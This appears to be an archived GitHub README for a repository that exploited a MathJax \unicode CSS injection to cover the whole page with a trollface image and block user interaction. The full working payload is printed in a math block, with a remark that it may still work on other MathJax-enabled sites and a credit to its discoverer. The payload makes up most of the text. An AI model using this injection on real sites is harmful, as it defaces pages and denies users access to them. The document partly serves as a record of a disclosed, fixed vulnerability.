This repository contained a CSS injection that replaced the entire site with a trollface and prevented the user from doong anything. The injection was quickly fixed by GitHub, below is the original readme text for archival purposes. There's a high chance that it'll still work on other MathJax-enabled sites.
You can see what it used to look like on the Web Archive:
https://web.archive.org/web/20240607214024/https://github.com/flexagoon/trollface
```math
\unicode[;z-index:1000;position:fixed;top:0;left:0;height:100vh;width:100vw;background:url('https://github.com/flexagoon/trollface/assets/66178592/78085ce2-b81b-4c3b-9068-0fb3a96baad9');background-color:white;background-repeat:no-repeat;background-size:cover;background-position:center]{0}
Credit for discovering the injection technique goes to @cloud11665.